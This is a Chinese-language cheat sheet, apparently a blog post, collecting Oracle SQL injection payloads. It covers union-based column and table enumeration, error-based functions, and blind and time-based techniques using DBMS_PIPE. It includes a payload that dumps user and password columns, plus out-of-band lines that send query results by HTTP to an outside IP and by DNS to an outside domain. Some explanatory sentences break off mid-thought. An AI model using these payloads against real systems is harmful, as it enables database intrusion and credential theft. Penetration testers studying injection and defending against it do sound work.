Oracle注入总结
最近遇到Oracle注入的测试越来越多,而且互联网上oracle注入的总结较为少见,为了能够快速的进行漏洞测试和挖掘,诞生了想要把之前学习的Oracle注入方式进行温习和总结的想法,便写下这一篇关于Oracle注入的总结,本文参考了Oracle官网,互联网上各个前辈的博客以及各大paper。期待和师傅,前辈们的讨论和交流。
本文中的user 的值是SQLINJECTION
基础知识:
Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录。
Oracle的数据类型是强匹配的(MYSQL有弱匹配的味道),所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。
Oracle的单行注释符号是–,多行注释符号/**/。
【union 注入】
判断列数:
\’ order by 3 —
判断回显位置:
\’ union select null,null,null from dual —
获取数据库版本信息:
\’ union select null,(select banner from sys.v_$version where rownum=1),null from dual —
获取数据表名:
\’ union select null,(select table_name from user_tables where rownum=1),null from dual —
\’ union select null,(select table_name from user_tables where rownum=1 and table_name<>\’T_USER\’),null from dual —
获取关键表中的列名:
\’ union select null,(select column_name from user_tab_columns where table_name=\’T_USER\’ and rownum=1),null from dual —
\’ union select null,(select column_name from user_tab_columns where
table_name=\’T_USER\’ and column_name<>\’SUSER\’ and rownum=1),null
from dual —
\’ union select null,(select column_name from user_tab_columns where
table_name=\’T_USER\’ and column_name<>\’SUSER\’ and
column_name<>\’SPWD\’ and rownum=1),null from dual —
\’ union select null,(select column_name from user_tab_columns where
table_name=\’T_USER\’ and column_name<>\’SUSER\’ and
column_name<>\’SPWD\’ and column_name<>\’SNAME\’ and
rownum=1),null from dual —
获取关键列中的字段数据:
\’ union select SNAME,SUSER,SPWD from T_USER —
(一)、Oracle 报错注入:
进行测试或漏洞挖掘的时候发现出现了数据库报错信息,可以优先选择报错注入,使用报错的方式将查询数据的结果带出到错误页面中,使用报错注入需要使用类似
1=[报错语句],1>[报错语句],使用比较运算符,这样的方式进行报错注入(MYSQL仅使用函数报错即可),常见的报错函数见以下示例:
0x01 使用utl_inaddr.get_host_name()进行报错注入
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1\’ and 1=utl_inaddr.get_host_name((select user from dual))–
and (select upper(XMLType(chr(60)||chr(58)||(select user from
dual)||chr(62))) from dual) is not null–
and (select dbms_xdb_version.checkin((select user from dual)) from
dual) is not null–
and (select dbms_xdb_version.makeversioned((select user from dual))
from dual) is not null–
and (select dbms_xdb_version.uncheckout((select user from dual)) from
dual) is not null–
and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from
dual) is not null–
1=ordsys.ord_dicom.getmappingxpath((select banner from v$version where
rownum=1),user,user)–
1=(select decode(substr(user,1,1),\’S\’,(1/0),0) from dual) —
1=utl_http.request(\’http://10.10.10.1:80/\’||(select banner from
sys.v_$version where rownum=1)) —
and (select utl_inaddr.get_host_address((select user from
dual)||\’.t4inking.win\’) from dual)is not null–
dual)是查询结果数据,instr会返回‘SQL’位置数据在,查询结果中的位置,未找到便返回0,可以通过对‘SQL’位置进行遍历和迭代,获取到数据。类似MYSQL
regexp注入的方法。
等方式与高耗时操作的组合,这里的高耗时操作指的是,例如:(select count(*) from
all_objects),对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据。这种方式也适用于其他数据库。
AND 7238=(CASE WHEN (ASCII(SUBSTRC((SELECT NVL(CAST(USER AS
VARCHAR(4000)),CHR(32)) FROM DUAL),3,1))>96) THEN
DBMS_PIPE.RECEIVE_MESSAGE(CHR(71)||CHR(106)||CHR(72)||CHR(73),1) ELSE
7238 END) AND \’1\’=\’1&sname=1
1=(select decode(substr(user,1,1),\’S\’,(select count(*) from
all_objects),0) from dual) and \’1\’=\’1
1=(select
decode(substr(user,1,1),\’A\’,DBMS_PIPE.RECEIVE_MESSAGE(\’RDS\’,5) ,0) from
dual) and \’1\’=\’1